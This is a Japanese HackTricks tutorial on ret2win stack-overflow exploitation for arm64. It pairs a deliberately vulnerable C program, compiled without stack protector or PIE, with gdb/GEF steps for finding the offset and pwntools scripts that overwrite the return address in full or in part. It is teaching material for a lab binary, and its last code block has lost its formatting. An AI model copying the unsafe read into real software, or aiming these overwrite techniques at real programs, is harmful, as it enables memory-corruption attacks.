Ret2win - arm64
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
arm64-basic-assembly.md でarm64の紹介を見つける。
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
コンパイル時にPIEとCanaryを無効にしてください。
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
オフセットの検出
パターンオプション
この例は、GEFを使用して作成されました:
GEFを使用してgdbを起動し、パターンを作成して使用します:
gdb -q ./ret2win
pattern create 200
run
arm64は、レジスタx30(侵害されたレジスタ)に含まれるアドレスに戻ろうとします。これを使用してパターンオフセットを見つけることができます。
オフセットは72 (9x48) です。
スタックオフセットオプション
最初に、pc レジスタが格納されているスタックアドレスを取得します:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
read()
の後にブレークポイントを設定し、read()
が実行されるまで継続し、13371337のようなパターンを設定します。
b *vulnerable_function+28
c
このパターンがメモリ内のどこに保存されているかを見つけます:
次に:0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
No PIE
Regular
win
関数のアドレスを取得します:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
Exploit(攻撃手法):
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
Off-by-1
実際には、これはスタック内の格納されたPCにおいてオフバイ2のようになります。 戻りアドレス全体を上書きするのではなく、最後の2バイトのみを 0x06c4
で上書きします。
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
ARM64における別のオフバイワンの例は、https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/ で見つけることができます。これは架空の脆弱性における実際のオフバイoneです。
PIEを使用する場合
バイナリを**-no-pie
引数なしで**コンパイルします
オフバイ2
リークがない場合、勝利関数の正確なアドレスはわかりませんが、バイナリから関数のオフセットを知ることができ、上書きしているリターンアドレスがすでに近いアドレスを指していることを知っているので、この場合、勝利関数のオフセット(0x7d4)をリークさせることが可能であり、そのオフセットを使用するだけです:
```python from pwn import *
Configuration
binary_name = './ret2win' p = process(binary_name)
Prepare the payload
offset = 72 ret2win_addr = p16(0x07d4) payload = b'A' * offset + ret2win_addr
Send the payload
p.send(payload)
Check response
print(p.recvline()) p.close()
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループに参加**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **githubリポジトリに提出してください。**
</details>